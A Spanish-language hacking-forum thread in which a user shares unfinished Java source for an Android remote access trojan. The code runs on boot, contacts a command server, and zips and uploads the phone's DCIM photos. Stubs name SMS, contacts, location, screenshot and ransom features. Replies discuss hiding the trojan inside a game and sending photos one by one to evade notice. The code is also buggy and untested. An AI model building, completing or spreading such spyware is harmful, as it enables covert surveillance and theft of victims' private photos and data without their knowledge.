Hack x Crack - Comunidad de Seguridad informática

Programación => Otros => Programación móvil => Mensaje iniciado por: samot en Diciembre 28, 2013, 04:45:53 am

Título: [SOURCE]Creando un rat en Android
Publicado por: samot en Diciembre 28, 2013, 04:45:53 am
Hola comunidad! Estoy creando un rat para Android, consiste en el terminal cliente, que se conecta al servidor en mi pc, desde el cual mandare las ordenes.

Estoy apenas comenzando, no lo he terminado, solo estoy programando ahorita el cliente, todavia no he comenzado con el servidor, cabe decir que no lo he corrido ni una sola vez. Me gustaria saber que opinan ustedes.

Código: [Seleccionar]
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Environment;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Writer;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class SystemControl extends BroadcastReceiver {
public String recv = null;
public String command = null;
public static final String msg = "Conectado";
public static final int port =1776;
public static final String host = "localhost";
private enum Commands {
    sendFiles, sendSms, sendConctacs, rasomActivity, recvFiles, sendLocation, sendCapture, doIt;
}
@Override
public void onReceive(Context context, Intent intent) {

// TODO Auto-generated method stub
while(true){
try
        {
            InetAddress inet = InetAddress.getByName(host);

            boolean status = inet.isReachable(5000); //Timeout = 5000 milliseconds

            if (status)
            {
                break;
            }
            else
            {
            Thread.sleep(3600000);
            }
        }
        catch (UnknownHostException e)
        {
           
        }
        catch (IOException e)
        {
           
        } catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
try{
Socket con = new Socket(host, port);
OutputStream out2 = con.getOutputStream();
DataOutputStream out = new DataOutputStream(con.getOutputStream());
DataInputStream in = new DataInputStream(con.getInputStream());
out.writeBytes(msg);
while(true){
command = in.readUTF();
Commands com = Commands.valueOf(command);
byte[]  byteArray;
switch(com){
case sendFiles:
// TODO Auto-generated method stub
File folder = Environment.getDataDirectory();
String source = folder.getAbsolutePath()+ "/DCIM";
File dcim = new File(folder.getAbsolutePath() + "/DCIM");
FileOutputStream fos = new FileOutputStream(Environment.getDataDirectory());
ZipOutputStream zos = new ZipOutputStream(fos);
        zos.setLevel(9);
        addFolder(zos, source, source);
        BufferedInputStream bis;
        BufferedOutputStream bos;

        DataInputStream input;
        int in1;
        byte[] byteArray1;
        final File name = Environment.getDataDirectory();
        String source2 = folder.getAbsolutePath()+ "/DCIM.zip";
        bis = new BufferedInputStream(new FileInputStream(source2));
            bos = new BufferedOutputStream(con.getOutputStream());
            DataOutputStream dos=new DataOutputStream(con.getOutputStream());
            dos.writeUTF(source2);
            byte[] byteArray11 = new byte[8192];
            while ((in1 = bis.read(byteArray11)) != -1){
                bos.write(byteArray11,0,in1);
            }
       

case sendSms:

case sendConctacs:

case rasomActivity:

case recvFiles:

case sendLocation:

case sendCapture:

case doIt:

}

}
}catch(Exception e){

}


}
private void addFolder(ZipOutputStream zos, String folderName, String baseFolderName) throws IOException {
// TODO Auto-generated method stub
File f = new File(folderName);
        if(f.exists()){
            if(f.isDirectory()){
                File f2[] = f.listFiles();
                for(int i=0;i<f2.length;i++){
                    addFolder(zos,f2[i].getAbsolutePath(),baseFolderName);   
                }
            }else{
                //add file
                //extract the relative name for entry purpose
                String entryName = folderName.substring(baseFolderName.length()+1,folderName.length());
                System.out.print("Adding entry " + entryName + "...");
                ZipEntry ze= new ZipEntry(entryName);
                zos.putNextEntry(ze);
                FileInputStream in = new FileInputStream(folderName);
                int len;
                byte buffer[] = new byte[1024];
                while ((len = in.read(buffer)) > 0) {
                    zos.write(buffer, 0, len);
                }
                in.close();
                zos.closeEntry();
                System.out.println("OK!");

            }
        }else{
            System.out.println("File or directory not found " + folderName);
        }

   
}
}


PD: En donde esta la parte para enviar archivos, lo que hago es tratar de enviar todas las imagenes de la carpeta /DCIM  comprimidas en formato .zip al servidor.
Título: Re:[SOURCE]Creando un rat en Android
Publicado por: IsaRoGaMX en Diciembre 28, 2013, 04:56:07 am
la verdad me parece muy interesante, pero bueno, no conozco nada de android, asi que paso a hacerte la siguiente pregunta ¿el usuario tendria que instalar y ejecutar la aplicacion para que funcione o existe en android algo similar al "autorun" de windows?, por que si el usuario tiene que instalarlo y ejecutarlo entonces esto deberia "ocultarse" y ejecutarse en segundo plano mientras le pones algun jueguito o algo que le llame la atencion al usuario el tiempo suficiente para comprimir y enviar el archivo(que por lo general la cantidad de fotos en esa carpeta es inmensa ya que nadie acostumbra "dar mantenimiento" a esa carpeta), ademas, ¿el usuario se percataria de la precensia de ese archivo comprimido?
Título: Re:[SOURCE]Creando un rat en Android
Publicado por: samot en Diciembre 28, 2013, 05:03:49 am
la verdad me parece muy interesante, pero bueno, no conozco nada de android, asi que paso a hacerte la siguiente pregunta ¿el usuario tendria que instalar y ejecutar la aplicacion para que funcione o existe en android algo similar al "autorun" de windows?, por que si el usuario tiene que instalarlo y ejecutarlo entonces esto deberia "ocultarse" y ejecutarse en segundo plano mientras le pones algun jueguito o algo que le llame la atencion al usuario el tiempo suficiente para comprimir y enviar el archivo(que por lo general la cantidad de fotos en esa carpeta es inmensa ya que nadie acostumbra "dar mantenimiento" a esa carpeta), ademas, ¿el usuario se percataria de la precensia de ese archivo comprimido?

Es un BroadcastReaceiver, es una caracterista muy buena en las aplicaciones de Android, es una porcion de codigo que corre en background esperando una accion que la active, en este caso que se encienda el telefono, actualiza si el servidor esta disponible cada 3.600.000 millisegundos(1 hora), en el caso de que detecta la carpeta si, y gracias por recordarmelo, agregare codigo para que borre los archivos o los mande por stream. Si, esto yo lo puedo facilmente agregar a un juego o cualquier app.
Título: Re:[SOURCE]Creando un rat en Android
Publicado por: IsaRoGaMX en Diciembre 28, 2013, 05:37:18 am
Es un BroadcastReaceiver, es una caracterista muy buena en las aplicaciones de Android, es una porcion de codigo que corre en background esperando una accion que la active, en este caso que se encienda el telefono, actualiza si el servidor esta disponible cada 3.600.000 millisegundos(1 hora), en el caso de que detecta la carpeta si, y gracias por recordarmelo, agregare codigo para que borre los archivos o los mande por stream. Si, esto yo lo puedo facilmente agregar a un juego o cualquier app.
bueno, no conocia esa "BoardcastReceiver" (bueno de hecho no conozco nada XD) pero bueno, si se se activa al encender el telefono y actualiza si el servidor esta disponible cada hora, ¿no seria mejor enviar foto por foto?, pregunto por que pues rara ves apagamos nuestro movil y de esta forma no tendrias que generar un archivo tan "grande" con todas las fotos y enviarlo completo ademas de borrarlo cada ves, creo que tambien podrias crear un archivo que contenga la fecha y hora de la ultima ves que se ejecuto este Boardcastreceiver y buscar los archivos(fotos) en esa carpeta que tengan una fecha y hora posterior para no tener que enviar todo otra ves, asi que digamos que estas son mis sugerencias:
1. Enviar foto por foto para no crear y borrar un archivo tan grande cada ves
2. Usar un archivo con la fecha y hora en que se ejecuta eso,
     * Si no existe el archivo envia todo y creas el archivo con la fecha y hora actuales
     * Si existe el archivo, lee la fecha y hora, y envia solo los archivos con fecha y hora posterior a la almacenada en el archivo
Título: Re:[SOURCE]Creando un rat en Android
Publicado por: visior en Diciembre 07, 2014, 04:04:22 pm
Me gustaría participar, no sé como esta actualmente el proyecto.